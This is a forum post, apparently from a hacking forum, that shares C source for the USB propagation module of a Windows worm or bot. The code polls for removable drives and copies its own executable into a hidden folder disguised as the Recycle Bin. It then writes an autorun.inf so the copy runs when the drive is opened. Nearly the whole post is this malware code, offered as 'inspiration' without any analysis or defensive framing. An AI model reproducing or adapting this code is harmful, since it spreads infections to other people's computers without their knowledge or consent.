Jump to content
strike

USB Spread

Recommended Posts

#include "includes.h"

#include "externs.h"

#define USBSLEEPTIME 20000

#define USB_STR_RECYCLER "\\TTHDHGC"

#define USB_STR_REC_SUBDIR "\\DFG-2352-66235-2352322-634621321-6662355"

#define USB_STR_DESKTOP_DATA "[.ShellClassInfo]\r\nCLSID={645FF040-5081-101B-9F08-00AA002F954E}"

#define USB_STR_DESKTOP_INI "\\Desktop.ini"

#define USB_STR_AUTORUN_INF "\\autorun.inf"

#define USB_STR_AUTORUN_DATA1 "[autorun]\r\nopen="

#define USB_STR_AUTORUN_DATA2 "\r\nicon=%SystemRoot%\\system32\\SHELL32.dll,4\r\naction=Open folder to view files \r\nshell\\open\\command="

#define USB_STR_AUTORUN_DATA3 "\r\nshell\\open\\default=1"

#define USB_STR_FILENAME "364855.exe"

BOOL USB_InfectDrive(char *drv)

{

char szFile[514] = {0}, szTemp[514] = {0}, *p; //128 = IRCLINE?

int i;

BOOL ret;

HANDLE f;

DWORD d;

// create RECYCLER

lstrcat(szFile, drv);

lstrcat(szFile, USB_STR_RECYCLER);

if (!CreateDirectory(szFile, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)

return FALSE;

SetFileAttributes(szFile, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);

lstrcat(szFile, USB_STR_REC_SUBDIR);

if (!CreateDirectory(szFile, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)

return FALSE;

SetFileAttributes(szFile, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);

// create Desktop.ini

lstrcat(szFile, USB_STR_DESKTOP_INI);

f = CreateFile(szFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM, 0);

if (f < (HANDLE)1)

return FALSE;

if (!WriteFile(f, USB_STR_DESKTOP_DATA, sizeof(USB_STR_DESKTOP_DATA) - 1, &d, NULL))

{

CloseHandle(f);

return FALSE;

}

CloseHandle(f);

// copy .exe file

p = szFile + lstrlen(szFile);

while (p[0] != '\\')

p--;

p++;

*p = 0;

lstrcat(szFile, USB_STR_FILENAME);

GetModuleFileName(0, szTemp, sizeof(szTemp)-1);

ret = CopyFile(szTemp, szFile, TRUE);

// todo: add crc or md5 check for file

SetFileAttributes(szFile, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);

// create autorun.inf data

for (i = 0; i < sizeof(szTemp); i++)

szTemp = 0;

p = szFile;

while (p[0] != '\\')

p++;

p++;

lstrcat(szTemp, USB_STR_AUTORUN_DATA1);

lstrcat(szTemp, p);

lstrcat(szTemp, USB_STR_AUTORUN_DATA2);

lstrcat(szTemp, p);

lstrcat(szTemp, USB_STR_AUTORUN_DATA3);

// create autorun.inf file

for (i = 0; i < sizeof(szFile); i++)

szFile = 0;

lstrcat(szFile, drv);

lstrcat(szFile, USB_STR_AUTORUN_INF);

SetFileAttributes(szFile, FILE_ATTRIBUTE_NORMAL);

f = CreateFile(szFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY, 0);

if (f < (HANDLE)1)

return FALSE;

if (!WriteFile(f, szTemp, lstrlen(szTemp), &d, NULL))

{

CloseHandle(f);

return FALSE;

}

CloseHandle(f);

return ret;

}

DWORD WINAPI USB_Spreader(LPVOID param)

{

NTHREAD *usbs = (NTHREAD *)param;

char szTemp[514] = {0};

char szDrive[3];

char *p;

szDrive[0] = ' ';

szDrive[1] = ':';

szDrive[2] = 0;

for (;;)

{

Sleep(USBSLEEPTIME);

if (GetLogicalDriveStrings(514 - 1, szTemp))

{

p = szTemp;

do

{

*szDrive = *p;

if (szDrive[0] != 65 && szDrive[0] != 66 && szDrive[0] != 97 && szDrive[0] != 98)

{

if (GetDriveType(szDrive) == DRIVE_REMOVABLE)

{

if (USB_InfectDrive(szDrive))

{

}

}

}

while (*p++);

} while (*p);

}

}

}

externs.h:

DWORD WINAPI USB_Spreader(LPVOID param);

DWORD WINAPI view(LPVOID param);

DWORD WINAPI cHTTP(LPVOID param);

includes.h:

#define _WIN32_WINNT 0x0403 // Very important for critical sections.

#define WIN32_LEAN_AND_MEAN // Good to use.

#pragma optimize("gsy", on) // Global optimization, Short sequences, Frame pointers.

#pragma comment(linker, "/opt:nowin98")

#pragma comment(linker, "/ALIGN:4096") // This will save you some size on the executable.

#pragma comment(linker, "/IGNORE:4108 ") // This is only here for when you use /ALIGN:4096.

//default headers

#include <windows.h>

#include <stdio.h>

#include <string.h>

#include <winsock2.h>

#include <time.h>

#include <stdlib.h>

#include <Winsvc.h>

#include <winuser.h>

#include <wininet.h>

#include <winable.h>

#include <tlhelp32.h>

#include <tchar.h>

#include <shlobj.h>

#include <shlwapi.h>

#include <shellapi.h>

#include <tlhelp32.h>

#pragma comment(lib, "Ws2_32.lib")

#pragma comment(lib, "shlwapi.lib")

#pragma comment(lib, "urlmon.lib")

#pragma comment(lib, "shell32.lib")

Sursa de inspiratie.

Edited by strike
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...